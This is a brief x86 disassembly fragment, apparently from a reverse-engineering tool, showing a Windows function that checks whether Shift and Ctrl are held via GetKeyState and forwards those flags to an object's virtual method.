mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
push 0x10
mov edi, ecx
call esi
test ax, 0x8000
setne al
push 0x11
mov byte [ebp - 8], al
call esi
mov ecx, dword [edi + 0xc]
test ax, 0x8000
setne al
mov byte [ebp - 4], al
push dword [ebp - 4]
mov eax, dword [ecx]
push dword [ebp - 8]
push dword [ebp + 8]
push edi
call dword [eax + 8]
pop edi
pop esi
leave
ret 8